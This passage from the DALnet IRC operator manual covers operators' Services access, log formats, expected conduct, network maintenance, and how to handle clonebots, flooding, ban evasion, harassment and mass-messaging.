  5.5.1  EXTRA NICKSERV/CHANSERV ACCESSES

  ---------------------------------------

  In addition to the OperServ commands, there is some additional access to

Services given to operators and above.  Remember that you need to be opered for

all of these.

  1. IRC operators (and above) may view any channel's AOP, SOP and AKick lists.

  2. IRC operators (and above) may use ChanServ's count and why commands for

     any channel.

  3. IRC operators are excempt from the "secured ops" channel setting (ie. they

     may hold ops even if they don't have AOP status on the channel).

  4. Service Admins (and above) may view any nickname's access list.

  5. Service Admins (and above) may use ChanServ's access command for any

     nickname and channel.

  6. CSops may do a "forced register" of a channel, registering a channel

     without holding ops there.

  7. CSops may use ChanServ's clean and wipe commands for any channel.

  5.5.2  SERVICES LOGS

  --------------------

  Services writes logs about its activity.  To access these logs, you need to

register for an account for log searching.  Accounts are given to all

operators, even those who do not have CSop access, contact intra@dal.net for

getting an account.  The logs are mostly useful only to CSops when handling

nickname or channel ownership issues.

  The format for log entries is:

    [time] ACTION performed-on (by)

  ACTION will be a single character.

  ChanServ:

    E -- expire

    C -- change founder

    A -- AOP wipe

    S -- SOP wipe

    K -- AKick wipe

    F -- forced register

    R -- register

    D -- drop or delete

  NickServ:

    R -- Register

    D -- Drop

    E -- Expire 

  OperServ:

    [time] (Service) nick!user@host (whatever was sent)

  5.5.3  SERVICES ROOT ACCESS

  ---------------------------

  Normally, CSops are able to deal with any situation that might arise and

where special access to Services is needed.  In a situation where Services is

behaving oddly or erroneously, a Services root person might be needed to check

into the matter.  Reports of possible bugs can be emailed to service@dal.net or

discussed on the Services mailing list (dalnet-services@dal.net).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

=================

Part II - OPERDOM

=================

Putting Your Skills to Use

  This part (chapters 6 to 9) discusses non-technical aspects of being an IRC

operator.  Issues vary from expected conduct to advice and instructions for

common situations to describing DALnet activity outside the actual IRC network.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Chapter 6.  SOCIAL SECTION - EXPECTATIONS, DUTIES AND PRIVILEGES

================================================================

  - Advice, guidelines, rules

  The chapters before have concentrated on what you can do as an IRC operator,

and, in some cases, given some advice on what is appropriate use for those

commands and accesses.  This chapter will explain what it means to be an oper:

what you are expected to do and when, what you should expect yourself, advice

and guidelines, and so on.

  The first section lists operator requirements.  The following sections give

further instructions, clarifications and explanations for some of these duties,

expectations and aspects of being a good IRCop.

  As an introduction, I've included the two paragraphs from the DALnet Policies

and Procedures document which discuss the role of opers:

    DALnet provides its users with the following:

    C. IRC Operator Service.

    DALnet's IRC Operators offer assistance with Services and IRC questions,

    help managing problem behavior and maintaining network stability.

and

    II. DALnet's Administrative Organization.

    a. IRC Operators - Server Team Staff (IRCops).

    A DALnet IRC Operator assists the Admin in server maintenance as assigned

    and helps maintain network stability.  IRCops assist users in becoming

    oriented to the DALnet network, DALnet Services and in the mediation of

    disputes. IRCops offer assistance in resolving conflict and work with other

    administrative staff to maintain a safe environment.

  6.1  REQUIREMENTS

  -----------------

  Being an IRC operator on DALnet is a privilege, and like most others, it

comes with responsibility.  You are an oper so that you can be of benefit to

the network.  There are a few requirements and duties for all operators, which

are detailed in this section.

  Keep in mind that IRC is meant to be fun.  Do not overwork yourself just

because you feel that you have to "fulfill your duty".  If you don't feel like

doing something at a particular time, don't do it (just be polite about it,

like when a user requests help from you).  See section 6.2.1 for a discussion

about being "on duty" and "off duty".  Also make sure to read the Final words

chapter of this manual (chapter 9).

  However, if you find that you're mostly never in the mood for doing "IRCop

stuff", or that you only set yourself +o to issue /kills, perhaps being an

oper is not for you.

  Here's a list of operator requirements, each described in detail in the

following subsections:

  1. Help maintain the network and your server

  2. Help the users

  3. Enforce DALnet rules

  4. Follow the guidelines and instructions given in this guide

  5. Behave in a fitting manner for a DALnet IRC operator

  6. Keep up to date on DALnet matters, rules and policies

  7. Do not share confidential information with non-opers

  6.1.1  HELP MAINTAIN THE NETWORK AND YOUR SERVER

  ------------------------------------------------

  You should monitor the state of the network and your server.  Mostly this

means watching out for netsplits and lag, reconnecting and rerouting servers if

necessary.  You should also look into anything that seems strange or just

"wrong" on the network or your server.  Your admin may give instructions to you

of how your should help with running the server.

  6.1.2  HELP THE USERS

  ---------------------

  All opers should help users.  If a user asks for help, and you can't help

him/her yourself for some reason (for example, don't know the answer, you are

busy with something else, or you are "off duty"), you should try to locate

someone else who can help the user.  At the very least you should politely

indicate that you cannot help and try to direct the user to another likely

source of help.

  6.1.3  ENFORCE DALNET RULES

  ---------------------------

  Opers should uphold DALnet's rules, as outlined in the DALnet Policies and

Procedures document.  Use the means available to you to deal with any violation

of rules in an appropriate manner.  The guidelines given in this document, by

your trainer or admin, and in other DALnet sources should help you in choosing

the right approach to each situation.  See section 6.5 on policy enforcement.

  6.1.4  FOLLOW THE GUIDELINES AND INSTRUCTIONS GIVEN IN THIS GUIDE

  -----------------------------------------------------------------

  IRC operators are generally expected to go by this guide.

  It is possible that some of the instructions given herein will sometimes be

changed, clarified or even overruled by your admin or in other DALnet sources

(usually, the ops mailing list).  In that case, those directions of course take

precedence.

  6.1.5  BEHAVE IN A FITTING MANNER FOR A DALNET IRC OPERATOR

  -----------------------------------------------------------

  You should behave as is appropriate for a DALnet IRC operator.  This is

especially true in times when you are "on duty" -- an acting representative of

DALnet in some way.  For example, when you are helping a user, or dealing with

some breach of DALnet rules, or writing mail to a DALnet mailing list.  See the

section 6.2 on conduct.

  6.1.6  KEEP UP TO DATE ON DALNET MATTERS, RULES AND POLICIES

  ------------------------------------------------------------

  DALnet is a growing and evolving community.  Things are constantly changing.

There might be a new policy added, new features for IRC or Services added,

administrative changes taking place, or just about anything else...  Because of

this it is very important that you keep up with DALnet news.

  In practice, the single most important thing is being subscribed to the ops

mailing list.  Subscriptions to the other mailing lists are also encouraged, as

they will give you more detailed information about various things, and allow

you to take part in the current DALnet issues and discussion.

  Also, in reverse, you should keep OTHER members of DALnet staff informed of

the DALnet matters as best as you can.

  6.1.7  DO NOT SHARE CONFIDENTIAL INFORMATION WITH NON-OPERS

  -----------------------------------------------------------

  As a DALnet operator, you will be informed of many confidential issues, facts

and matters.  Whether these are related to DALnet's security, or to the

network's users (eg. nickname/channel passwords) it is VERY important that you

do not disclose these to anyone who is not a DALnet operator.  This especially

concerns information obtained through the privileged operator sources (the ops

mailing list, globops, and so on).

  6.1.8  NEW OPERATOR'S ACTIONS

  -----------------------------

  When you become a DALnet IRC operator, you should follow these steps.

  1. Make sure your nickname is registered, and that you have nick kill enforce

     set ON.

  2. Tell your admin what nickname you want to use for your @dal.net email

     alias (nickname@dal.net), and what other email addresses you will be

     posting from regularly.  Your email alias will be signed up to

     ops@dal.net, dalnet-outage@dal.net, and if you are not already subscribed,

     to dalnet@dal.net.  You will also receive server staff email (sent to

     <yourserver>-staff@dal.net) at that address.  If you wish to subscribe to

     ops-chat@dal.net let your admin know that along with the above

     information, or email postmaster@dal.net and ask to be subscribed.  That's

     also the place to write if you ever need changes to your email alias or

     approval addresses.

  3. Request AOP access on the IRC operator channels (#OperHelp, the privately

     owned #operators and (optionally) #dragonrealm, possibly some others) from

     your admin.

  You might also consider joining some other DALnet mailing lists:

    ops-chat         The operator chat list

    dalnet-announce  The (public) announcements list

    dalnet-services  The Services discussion list

    dalnet-src       The server development list

    helpers          The helpers list

  To subscribe, send email to majordomo@dal.net with empty subject and with the

body of the email saying just "subscribe listname", replacing listname with the

name of the list you wish to subscribe to.  For the dalnet list, approved

status should be manually requested from the moderators (moderators@dal.net).

For the ops and ops-chat lists, you have to also manually request addition and

posting approval from postmaster@dal.net.

  6.2  CONDUCT

  ------------

  IRC operators are the core of DALnet's staff and are perhaps the single most

important factor in how DALnet appears to its users.  Because of this the

manner in which opers appear is very important to DALnet's image, the whole

"spirit" of the net, and how well DALnet lives up to being "The Friendly

Network".

  Other conduct issues about expected behaviour of DALnet staff are covered in

the section 6.8 about Privileges and Responsibility.

  6.2.1  "ON DUTY" AND "OFF DUTY"

  -------------------------------

  It is recognized that operators may be "on duty" and "off duty".  Naturally

you have a greater freedom to act as you choose when you are off duty, but you

should keep in mind that the activities of an oper reflect upon DALnet even

when the operator is not acting as a representatives of it.  When you are on

duty, you should always pay special attention to conducting in a professional

manner.

  When are you on duty, and when off duty?  The single definite rule is that

when you are acting as DALnet's representative or a DALnet staff member, you

are on duty.  It is actually possible to be on duty and off duty at the same

time, for example you can be "on duty" on a help channel and "off duty" in a

private channel.  In this case, anything you do or say on the help channel

should be considered being on duty, while the private channel activity is

clearly off duty.

 The interpretation depends upon each situation.  If you doubt, it's better to

err on the safe side and behave as if you are on duty.

  Here's a few indications that you are on duty:

  - Usermode +o set, using operator commands

  - Usermode +h set, or helping users on a recommended help channel, or helping

    as a member of DALnet staff (for example, when a user requests help in a

    private message)

  - Having channel ops when doing so as a representative of DALnet staff (for

    example, ops on #OperHelp or another IRC operator channel, or opped on a

    channel using OperServ)

  - Participating in the mediation of a user dispute

  - Monitoring user or channel situations, incognito or not

  - Attending DALnet staff online meetings

  - Posting email on DALnet mailing lists

  6.2.2  GENERAL CONDUCT GUIDELINES

  ---------------------------------

  Here are a few guidelines for general conduct.  The first two should not need

to be included, but nevertheless they are listed here so that nobody can say

that they weren't clearly stated.

  - Always follow DALnet's rules!

  - Do not abuse your operator privileges.

  - Respect and be considerate to all other users.  This includes both regular

    users and other operators.

  The following should be observed when on duty:

  - Avoid swearing and derogatory comments.

  - Do not exhibit sexual behaviour in public.

  - Keep calm -- if you become upset or angry and cannot remain objective, it

    is a good idea to ask a fellow operator to handle the situation if

    possible.

  6.2.3  GUIDELINES FOR DEALING WITH USERS

  ----------------------------------------

  The manner in which you present yourself may make a different in how

efficiently and effectively you are able to handle any issue with users.  You

should remain calm and matter of fact at all times when dealing with users.  If

you become upset or angry, you will be less effective and possibly even

unintentionally make the situation worse.  It is good to ask someone else to

handle the issue for you if you are unable to remain objective.  Opers need to

work as a team and recognising our individual strengths or weaknesses is an

integral part of good team work.  All of us have times when our performance is

temporarily diminished.  It is better for DALnet to have IRC operators who are

able to rely on others for help, than to risk handling a situation badly.

  DALnet operators should NOT look down on users, make fun of or ridicule them.

It is part of the DALnet principles that users should be treated with respect.

If you feel that you are above the network's "normal users", you should rethink

your view.  You are an IRC operator on DALnet to serve the network, and thus,

its users.

  When handling situations involving users, the following recommendations will

help you handle it in a good and professional manner.  Some of them only apply

to specific situations.

  1. Be polite and respectful.

  2. Give the users the benefit of the doubt.  If you have had a complaint

     about a user, ask them to tell you what the problem is themselves before

     you confront them about their reported behaviour.

  3. State the issues clearly, without personal criticism.  For example, saying

     "I received a complaint about someone flooding this channel.  Do you know

     what happened?" will open up communication and the possibility of finding

     a peaceful solution.  Whereas, just saying "I /kill lamers for flooding.",

     for example, may result in an escalation of the problem.

  4. State clearly the rule or policy which was violated.  For example,

     "Flooding is not allowed on DALnet because it interferes with other users'

     ability to chat and can cause some IRC clients to lose their connection."

     will be instructional as well as stating the network's position on the

     issue.

  5. State clearly what the consequences are.  State, for example, "You are

     being warned.  If I receive one more complaint, I will /kill your IRC

     session.  Any complaints after that may result in a K:line (for you or

     your site)."  This way everyone knows what to expect and there will be no

     need to engage in any debate.  Make sure you know what the appropriate

     action is for a particular violation and do not threaten to take action

     which goes against the network's policy for a particular issue.

  6. Do not "threaten" an action until you are sure it is what you will do.

     For example, be sure there is cause to /kill someone before you tell them

     you are going to do it.  While it is good to state that a possible

     consequence of the action may be /kill, it is important for users to know

     that once we state we will do so, we follow it through.  If Opers

     vacillate, it can start to sound like empty threats and the user may

     "test" repeatedly to see if we really mean what we say.  It is better to

     avoid taking the action until you are sure there is no other option, than

     doing so quickly and without further discussion.  Remember to not use

     profanity or namecalling.  Just state the reason based on the offending

     behaviour.

  7. Do not criticize or ridicule users.  Have patience for typos.  Avoid

     embarrassing a user in front of others.

  8. Remember that DALnet is an international forum.  For many English is a

     second (or latter) language and some colloquialisms and slang may be

     confusing or easily misinterpreted.  Please try to use correct grammar and

     punctuation as this will facilitate ease of communication.  If needed, you

     may attempt to find a translator.

  9. Try to be sensitive to how others view the role of an IRC operator.

     Control and privileges are easily misunderstood.  Being aware of your own

     feelings in this regard can be helpful in your interactions with others.

  You should also be aware that because IRC operators are perceived as having

"power" on the network due to their privileges, some unscrupulous users will

attempt to manipulate and exploit opers for their own benefit.  Most users of

IRC fall outside of this group, but such people are common enough that every

operator will meet one sooner or later.  Keep this in mind when dealing with

help requests and reports of abuse.

  6.2.4  GUIDELINES FOR STAFF INTERACTION

  ---------------------------------------

  When dealing with other staff members, how you conduct yourself is very

important too.  In general, it can have a huge influence in the overall morale,

both for good and bad.  Here are a few guidelines that should be followed when

interacting with other staff members.

  1. Be polite and respectful.

  2. Help other staff members if they ask for it (see section 6.7).

  3. If you think someone is doing a good job and have something nice and

     encouraging to say, say it.  Positive input is always welcome, and can

     make a big difference.

  4. If you think someone is not acting right, you may try to correct him/her

     in private, POLITELY.  Do not make defaming or derogatory comments about

     other staff members, especially not in public.  It only lowers morale and

     doesn't help to solve the situation.

  5. If you want to make a complaint about another staff member, follow the

     instructions in section 6.2.5.  Do not flame him/her in public, or attempt

     to "get to" him/her in other ways.

  6.2.5  STAFF MISCONDUCT

  -----------------------

  The procedure for registering a complaint about a DALnet staff member is:

  1. Try to resolve the problem by talking to the other person directly.

  2. If there is still a problem, report it to the person's superior.  If the

     issue is related to some team, report it to the team's leader.  If the

     person is an IRC operator and it's a generic complaint, report it to that

     person's admin.  If you do not know the oper's primary server, report it

     to the admin of the server that the operator was opered on at the time (it

     is likely you will be directed to talk to the responsible admin).

  3. If the problem remains unresolved after the superior has investigated and

     made a decision, a report can be sent to JAG (jag@dal.net) with supporting

     documentation (including all the logs from all the meetings with the

     person and with the superior, if available).  In the case of Services

     related problems, it can be reported to the Services Team (Services roots)

     in addition to or instead of JAG.

  4. Any case unresolved by JAG may be reviewed by DALnet's Executive Board or

     CEO, who will make the final decision.

  The possible consequences of misbehaviour are decided by the superior of that

staff member (either the IRC oper's admin or the team leader, as appropriate)

alone or in conjunction with the JAG, CEO and/or EB.  Consequences will be

proportional and relevant to the offence and may include:

  - Demotion to a local operator for a probationary period

  - Personal and public apology

  - Replacing or reconstructing damaged records

  - Removal of channel AOPs; temporarily or permanently for repeated misuse

  - Removal of the O:line or staff position

  - Removal of Services Admin or CSop access

  - Mailing list moderation or removal

  - Refusal of future O:line opportunities

  6.3  NETWORK AND SERVER MAINTENANCE

  -----------------------------------

  One of the most important duties for IRC operators is to keep the network

running.  However, normally there isn't that much to do in this regard, as

mostly the servers work fine without outside intervention.  What changes and

operations are needed are usually handled by the server's admin, or an IRC

operator whom the admin has given instructions.

  The following sections deal with the most common things that might need

operator intervention.  It is impossible to give exact instructions for every

possible situation, so use you own best judgement.

  6.3.1  HOW TO DEAL WITH: LAG

  ----------------------------

  Lag is one of the most common problems on IRC.  As an IRC operator, you may

actually attempt to fix it -- however, you should take care to investigate the

situation and make sure that you don't make the situation worse.  The solution

to lag is to reroute, and that means actually breaking a connection, so it

should only be tried if the lag doesn't seem to get better with time.  Under

most circumstances, lag will either disappear with time or break the connection

anyway, so operator interference is not usually needed.

  If you notice lag and want to see if it can be fixed, the first thing you

should do is try to pinpoint what is causing it.  Make sure it's not your OWN

connection to the server (ping yourself, if this takes a long time then you are

lagged to the server).  If that is not the problem, then you should try to use

pings, /traces and /version commands to try to figure out the lagging link.

You will also need to use /links to find out the current network layout.

  After you have found out the lagging link, and are sure that it's not going

to improve on its own, you may attempt to reroute that connection.  See chapter

7 for rerouting instructions, particularly section 7.3.1.

  6.3.2  HOW TO DEAL WITH: NETSPLITS AND MISSING SERVERS

  ------------------------------------------------------

  Servers have admin-configurable autoconnects which make them automatically

connect to other servers if there is a netsplit.  However, sometimes the

autoconnect will not work, or will try a "wrong" server, or take a long time

to happen.  Autoconnects might also not try to connect to all the possible

servers (eg. a backup hub).  It's also possible to configure a server not to

autoconnect at all when there are IRC operators present on the server.  You

should ask your admin about your server's configuration.

  Usually you should leave autoconnects to take care of server connects when

a netsplit happens.  However, in some occasions human judgement is much

better than the "dumb" logic of autoconnects.  For example, if your server

happens to split and you see it try to connect to a hub which you know is

down, it might fix things sooner if you just do a manual /connect to another

hub which you know is up.  (See section 3.2.5 on usage of /connect.)

  If you happen to notice a missing server from the network, the reason is

probably that it is down or the system is unreachable netwise.  Because of

autoconnects, any server will sooner or later automatically connect back to the

network if possible.  However, unless you know what the situation with a

particular server is (eg. the admin has announced it is down for a system

upgrade), and it is missing, it is a good idea to investigate further.  The

following is a list of steps to follow in this kind of situation:

  1. Try to make contact with someone on the server staff online and ask about

     the server's situation.  It might be that there is a problem that the

     staff is unaware of.  If there is a problem, the staff member probably

     should take care of handling the matter.

  2. If you can't locate a server staff member, send a globop and find out if

     anyone knows of the situation or is working on it.  Attempt to remote

     connect the server back to the network a few times, unless someone has

     already tried that.  Connect attempts don't hurt anything, even if they

     fail.

  3. If the other opers don't know anything, and there is no further

     information available about the server, consider trying to reach the

     server's contact person in "real life", ie. with a phone call or a pager.

     The DALnet Contact Directory may help here.

  4. All else failing, take the matter into your own hands: make sure the

     server admin/staff is notified of the situation, and also contact

     hostmaster if that is warranted (ie. to point the server's name to

     the irc.dal.net pool temporarily so that clients don't try to connect to

     a server which is down).

  6.3.3  HOW TO DEAL WITH: DESYNCHS

  ---------------------------------

  First, make sure it's REALLY a desynch.  Connect to different servers and

look at the situation from many different "viewpoints".  Check whether the

info appears the same or different, and that there is not a split or synch in

progress.

  Desynchs are rather rare, but they do happen occasionally.  They mostly

happen in times of bad lag and splits (ie. bad network conditions overall on

the Internet), and when things get better the desynch usually disappears too.

  There are various means to clear a desynch.  These vary depending on whether

it's a channel or a nickname which has been desynched.  Channel desynchs can

be cleared by clearing a channel completely.  If available, you may also

attempt to use the OperServ mode command.  For nicknames, issuing a kill for

the nickname or (for ghost nicks) using that nick on some other server might

clear the desynch.  Disconnecting a desynched server and reconnecting it back

is another option.  Sometimes the problem might be that a resynch never really

finishes, in this case the server will split eventually again.

  Desynchs are elusive by nature, and it's impossible to say what exactly will

clear something.  Squitting and reconnecting the desynched server(s) should

always fix it though, as it forces the servers to start synching their

databases from scratch.  Also getting an oper on the desynched server to look

into the thing from the "other side" is a very good action to take.  Sometimes

desynchs can only be effectively fixed from one side.

  6.3.4  HOW TO DEAL WITH: SERVICES GOING DOWN

  --------------------------------------------

  Services do sometimes go down, disappearing from the net.  It doesn't happen

very often, and when it does it might actually be deliberately done in order to

upgrade the program or for some other maintenance reason.  In this case, you

will likely see a globops message about this by a Services root, or in the very

least see "Services shutting down by command of <nick>" there.  Since someone

who can control Services is obviously already aware of it, you don't need to do

anything specific in this case.

  However, ocassionally Services does crash.  Usually in this case it will send

a "PANIC!" globop just before it quits the network.  If this happens, make a

note of whatever messages Services sent before it disappeared.  First wait a

few minutes, since Services has been set to auto-restart every 5 minutes.  If

this doesn't happen, and nobody else has said anything in globops, you should

make a query about it.  If possible, someone should try to reach a Services

root and explain the situation (in the very least, send an email to

service@dal.net with the information Services sent before it quit).  Be sure to

coordinate this with the other active operators who are online.

  6.4  HELPING USERS

  ------------------

  One of the main duties for DALnet IRC operators is to help users.  You should

provide help as best you can, whether you are helping on a help channel or are

approached privately.  Be polite and have patience for typos, as well as never

ridicule the user asking help.  If you cannot help the user yourself for

whatever reason (eg. you don't know the answer or are busy doing other things),

try to instruct them on how they can get help.  For instance, most generic IRC

questions can be answered in the help channels, or give pointers to some other

appropriate help resource.

  On the whole, teach users to help themselves.  This is very important.

Explain about help commands, Services help pages, and other help resources.

DALnet official help documents can be found at the FTP site, the URL is

ftp://ftp.dal.net/dalnet/document/official-help.  For more immediate help, or

when a better explanation is needed than what is available in the help texts, a

user may visit the DALnet help channels.  Encourage users to find information

themselves.

  Remember that DALnet does not take part in channel matters (see section

6.5.7).  Issues such as channel policies or ops disputes should be handled by

the channel itself, and ultimately by the channel's founder.  You may act as a

mediator for disputes if you wish, however make sure you are impartial and

fair, and that the people you are dealing with are aware of that you are there

in an advisory capacity only (see section 6.6).

  When helping users, especially with problems relating to something that the

user has/hasn't done, it's good to remember that they might leave out parts or

even outright lie in some occasions.  This might happen even if they really

don't have any malicious intents.  An exaggerated example:

    <User> yeah, my channel was registered to me

    <Oper> but the logs don't show that..

    <User> umm, well, it wasn't, really.  i was just going to

  6.5  POLICY ENFORCEMENT

  -----------------------

  DALnet has quite a few policies and rules concerning how users are expected

to behave.  They all really boil down to one thing: play nice.  Make sure you

are familiar with the policy and rules documents that do exist, and any

guidelines given to you by your admin.

  As was said before, the actual situation you will come across will vary a

lot.  It is impossible to give advice for every situation that will happen.

Use your own best judgement in situations where any of these guidelines don't

apply.

  For reference, here's a short list of things which aren't allowed on DALnet:

   1. Flooding

   2. Running an excessive number of clients simultaneously, running automatons

      which use an excessive amount of server resources.

   3. Running bots on servers which don't allow them, or running unregistered

      bots on servers which require bot registration

   4. Harassment of ANY kind

   5. Takeovers and stealing of channels or registered nicknames   

   6. Evading channel bans or server connection restrictions (for example,

      K:lines)

   7. Evading user ignores and silences

   8. Mass messaging and advertising

   9. Abuse of Services (NickServ, ChanServ, MemoServ)

  10. IRC operator or other DALnet staff impersonation, Services impersonation

  11. Denial of service attacks, exploiting weaknesses and bugs in client or

      server software

  12. Transferring, requesting, or offering pirated software (warez)

  13. Transferring, requesting, or offering child pornography

  Remember: IRCops are not IRC cops.  IRC operators are technicians, who look

after a service (DALnet) and who should deal with those who abuse it.  The

policing ends there.

  6.5.1  HOW TO DEAL WITH: CLONEBOTS AND CLONING

  ----------------------------------------------

  Clonebots are strictly not allowed on DALnet, since there is no legitimate

reason to run them.  You may disconnect clonebots on sight, as long as you are

SURE that they are clonebots (and, for example, not a computer class).  If you

are able to determine who is the actual person running the clonebots, you

should try to negotiate and warn him/her against running clonebots, instead of

just /kill'ing off the user too with the clonebots.

  Services has a clone detection feature, which shows alerts for possible

clonebots.  If you see an alert, doing a /who command on the hostname shown

will show all connections from that host.  You should ALWAYS verify whether the

clients are really clonebots before you proceed to (mass)kill them off the

network.

  Please note that a user having 2, or even 5 simultaneous connections isn't

forbidden on DALnet, just the act of running clonebots.  As long as there is

some good reason to have multiple clients from the same address, it's allowed.

  How to tell apart clonebots from real users?  First clue is the information

seen with /who or /whois, of course.  If the nicknames are something like

LKJASDDVN, or there's a group of clients with nicks of, for example, from Fred1

to Fred8, then those are very likely clonebots.  If the real name is the same

for each of the clients, then that also indicates clonebots.  The same goes for

the username as well, though in some cases a group of users using a

gateway/proxy program to connect to IRC will all share the same username.  If

the clients are all on different channels, this probably means that they are

real users.

  There are smart clonebot scripts which make their bots look very much like

real users, though.  Thus sometimes you need more information.  You may check

the idle times for a few of the clients -- flooding clonebots will have a low

idle time.  If the version reply is the same for all of the clients (and it's

something else than mIRC), then that's an indication of bots.  Finally, trying

to send a message to a few or all of the users and *asking* will usually help,

as clonebots are unlikely to respond or at least will reply with a standard

message.

  6.5.2  HOW TO DEAL WITH: FLOODING

  ---------------------------------

  Flooding is not allowed on DALnet, and you may /kill any user doing that.

Since a flooder might not see any warning sent to him/her, it is permissible

to disconnect a known flooder without warning.  You should consider giving a

warning in these cases too, just in case.  Don't wait too long for the flooder

to stop, though.

  Mostly the trouble is finding out whether a flood is actually happening, or

not.  If a user comes to you with a complaint of someone flooding, how can you

tell if the complaint is legitimate or not?  Most of the complaints are, but

that is not proof.  Here are a few hints for detecting if someone is flooding

or not:

  - change to the flooded nick, or join the flooded channel

  - check the flooder's idle time (messages change this, but nick changes,

    joins/parts, notices and DCC don't)

  - check the received/sent message counts and received/sent data amounts for

    the flooder and the person being flooded with the "/stats l <nick>" command

    (see section 4.1.2)

  Additionally, if you have the usermode +f set, you will see a notice of any

flood disconnects that your server does.  See the description of the +f

usermode in section 4.3.7.

  6.5.3  HOW TO DEAL WITH: IGNORE / BAN / K:LINE EVASION

  ------------------------------------------------------

  Evasion means deliberately changing the address information to get around an

ignore, a ban or a K:line placed against you.  This is not allowed on DALnet,

users are allowed to NOT listen to someone if they so choose, and everyone must

respect that right.

  If you get complaints of ban evasion, check first if it's really happening --

that the ban/akick really *is* there.  For silence, you can check that user's

silence list with /silence nick.  For ignores, you just have to take the user's

word for it, as there's really no way to check that.  Also, evasion of very

"weak" bans or ignores (such as those placed only on the basis of a nickname,

and not by address) is so easy that it might happen even by accident.  For

evasion to happen, the user also needs to know that his/her presence or

messages are not wanted, ie. they need to be aware of being ignored or banned.

  In dealing with evasion, first -- especially in the case of too-weak ignores

and bans -- teach users to set up proper ignores and bans.  Then also warn the

offender.  If this is a repeat of an evasion, and you know the user has been

warned before, then warn again but make sure the point gets across (eg. "Do

NOT ban evade -- you WILL be /kill'ed if I get another complaint about you.").

If the user still continues the evasion, use /kill as needed.  If the user does

not get the point from that, and somehow manages to still evade (despite

setting up proper ignores or bans), then an autokill may be used.

  As a note, autokill evasion is in itself something that a user may be

autokilled for.  Also remember to never concentrate your attention to just the

abusive user, as was said before, make sure that the other users who are

involved know how to place proper ignores, silences, bans and akicks.

  6.5.4  HOW TO DEAL WITH: HARASSMENT

  -----------------------------------

  The word harassment is used here to indicate the sort of harassment that goes

on for a long time; several days, weeks, even months.  A flooder pestering

someone for an hour or two is not "harassment" as the term is used in this

section.  Rather, this section discusses things such as (death) threats and

other severe forms of harassment.

  Harassment on IRC is almost always connected to some other, non-IRC forms of

harassment.  If this the case, your first advice to any user who is suffering

from harassment should be that they need to contact local legal authorities.

For example, in the US this would be the FBI.  For other countries, the user

should contact similar authorities.

  After this, you should take great care in handling the situation.  Victims

are usually very scared and think that their harasser can do a lot of things

they in fact can't (such as listen in on conversations on IRC, etc.).  Because

of this you should explain just what is and isn't possible on IRC.  You should

also teach the user to use the relevant IRC commands, such as /ignore and

/silence.  Also, if needed, explain about registered nickname and channel

security, teach the user to use bans, etc.  Make sure the user knows how to

contact you even if you are not online (for example, give your email address),

or how they can find help online when you yourself are not present.

  Try to reassure the user that the problem can be solved.  If needed, you

should use the normal means to control abusive users: warnings, /kills, and

finally autokills (ask a Service Admin or CSop to help if needed).  However you

should consider each of these very carefully, as they can possibly make the

situation worse for the user.  Asking help from a fellow oper in these

situations is usually a very good idea, if you feel that you are unsure of how

to handle the issue.

  6.5.5  HOW TO DEAL WITH: MASS-MESSAGES

  --------------------------------------

  Mass-messages are messages which are sent to a large group of people

automatically.  They typically contain advertisements for a channel, another

IRC server, a WWW page, or other things.  Regardless of the content, mass-

messages are not allowed on DALnet at all.  Note that it is mass-messaging,

not advertisement in itself, which is forbidden on DALnet.  For example,

advertising an IRC network on a channel which is founded for that purpose is

allowed.

  Mass-messaging is a relatively new problem, but a rather annoying one.  The

normal solution of using /ignore or /silence doesn't work, because rarely will

there be repeated mass-messages from the same address.  Also, the affected

group of people is very large, not just a few users.

  Most mass-messages are done as private notices or messages to everyone

online.  Some are done as invites to channels "out of the blue", and others are

sent as messages on join/part to (popular) channels.  Yet another tactic is to

join each channel which has been formed, send the message, and leave.

  In the case of join/part messages, the matter should be primary handled by

channel ops -- after all, it's a channel matter in a way.  However, IRC

operators may interfere at their own discretion, provided that the channel's

operators (if any are present) agree with the actions.

  If a client is mass-messaging by hopping from channel to channel and sending

the message to each channel, it can be caught by doing repeated /whois'es on

the offender.  If the channels changes constantly, then it's a very probable

case of mass-messaging.

  There are three ways to detect privately sent mass-messages:

  - Through MassOp (a bot which will be explained shortly)

  - You yourself receiving a notice, message, or invite or noticing a

    "channel hopper" or a message on join/part

  - Someone reporting an offence of this nature

  A typical MassOp report looks something like this:

    *** HelpOp: MassOp (Local): 3 messages by Prez (x@khaos.dsuper.net):

    insert message here

What you should do when receiving this notice is first check the message and

see if it appears to be a mass-message.  If so, you are free to /kill the

client at will (it most likely is a bot).  Any Service Admins (or CSops)

should also consider autokilling the site.

  If you yourself happen to receive a mass-message, act as above.

  Finally, the most tricky case is when someone reports a mass-message.  For

instance, if you are given this log:

   <Reporter> <JoeBob> come to my great server /server lame.server.com 6667

How are you sure it's not a fake log?  You're not.  So you can do a couple of

things.  One is to watch the idle time of the offending party, if it is

constantly below two or three seconds, there is a good chance he/she is mass-

messaging.  Checking the client's SendQ is another, high values may indicate

mass-messaging.  In any case, care should be taken when killing on the basis

of a reported mass-message, because fake logs are very easy to produce.  MassOp

catches most of mass-messages, and is a more reliable source of reports.

  If you enter a popular channel (for example #funfactory or #chatzone), and

get auto-join messages or /notices, you may consider /kill'ing them provided

that the ops in the channel agree with the action.  Use your discretion of

defining a "popular" channel.

  6.5.6  HOW TO DEAL WITH: DESYNCHS

  ---------------------------------

  Although desynchs are really a technical problem, they can be used by

abusive users to cause trouble.  This is really rare as desynchs are rare in

themselves, but if it does happen, just try to fix the desynch as normal (see

section 6.3.3).  Using /kill to disconnect a desynched and abusive user is

usually easily justified in these situations.

  6.5.7  HOW TO DEAL WITH: CHANNEL MATTERS

  ----------------------------------------

  In short, don't.  DALnet does not take part in internal channel matters.

Each channel should arrange to look after itself with the tools provided by

DALnet (meaning ChanServ and IRC features such as /kick and bans).  You should

instruct users how to use the proper ChanServ and IRC commands or refer them

to the appropriate user help resources, if that's needed (see section 6.4).

You MAY act as a mediator if all parties (including you) agree to it, but you

can only do that in an advisory capacity, so keep in mind that the founder is

the person who makes the final call in the issue, not you.  Because of this it

usually doesn't make much sense to get involved.  Channel ownership disputes

are discussed in section 6.6.3.

  If you get a report of a flooder on a channel, you should deal with that of

course.  Opless channels make easy targets for flooders, so frequently IRC

operators are asked to help with flooders in these kind of situations.  In that

case, deal with the flooder as normal: warn first, then use /kill.  An

alternative is to ask someone with Service Admin access to op you on that

channel in order to do a kick and ban, however keep in mind that a /kill works

just as well as a /kick and is entirely appropriate when dealing with flooders.

